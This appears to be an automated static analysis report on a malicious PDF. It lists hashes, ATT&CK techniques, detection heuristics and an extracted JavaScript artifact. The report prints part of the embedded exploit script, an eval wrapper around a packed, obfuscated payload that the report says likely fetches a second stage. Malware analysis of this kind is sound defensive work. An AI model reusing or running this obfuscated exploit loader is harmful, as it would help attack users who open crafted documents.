Malicious PDF — malware analysis report

Static analysis result for SHA-256 8727e642683c49cb…

MALICIOUS

PDF

8.7 KB Created: 2009-07-21 15:18:06 Authoring application: iQpGyaPUJPPRXHChIcM (via pWcwqAOuxrNsV) First seen: 2013-02-25
MD5: 76cc2c4c3b1a68dead30fd7cedaf3194 SHA-1: 79e6084267437626d15c489de250a7bcff83cf89 SHA-256: 8727e642683c49cb151a27177823fddb6d9c3abd7725d98e763e14d3016446f0
116 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The PDF file contains embedded JavaScript that is heavily obfuscated but identified as an exploit cluster. The script likely downloads and executes a second-stage payload, indicated by the 'PDF_JS_EXPLOIT_CLUSTER' heuristic and the ML classifier's high confidence. The document body contains nonsensical text, suggesting it is a lure.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 4

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    ,d
\){e=function\(c\){return\(c<a?'':e\(parseInt\(c/a\)\)\)+\(\(c=c%a\)>35?String.fromCharCode\(c+29\):c.toString\(36\)\)};if\(!''.replace\(/^/,String\)\){while\(c--\){d[e\(c\)]=k[c]||e\(c\)}k=[function\(e\){return d[e]}];e=function\(\){return'\\\\w+'};c=1};while\(c--\){if\(k[c]\){p=p.replace\(new RegExp\('\\\\b'+e\(c\)+'\\\\b','g'\),k[c]\)}}return p}\('1F 2s\(16\){Q R=0;Q W="";2o\(R=0;R<16.2m;R++\){W=W+2E.2A\(16.2w\(R\)^1\)}1G W}1F 1H\(1J\){1G 2F\(1J\)}Q 14=1R.1S.2g\(\);14=14.1I\(/\\\\D/g,""\);Q 3 …
)
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0007_000.js pdf-javascript-stream PDF /JS object 7 at offset 0x3E6 7190 bytes
SHA-256: ed108597b65a73dcbba0575dedcd96eb328524f0278651d33bd679fa3335ecf5
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
function I3jghpm(Dmif4r4){

 eval (
 Dmif4r4
 );
}

I3jghpm(
function(
p
,a
,c
,k
,e
,d
){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1F 2s(16){Q R=0;Q W="";2o(R=0;R<16.2m;R++){W=W+2E.2A(16.2w(R)^1)}1G W}1F 1H(1J){1G 2F(1J)}Q 14=1R.1S.2g();14=14.1I(/\\D/g,"");Q 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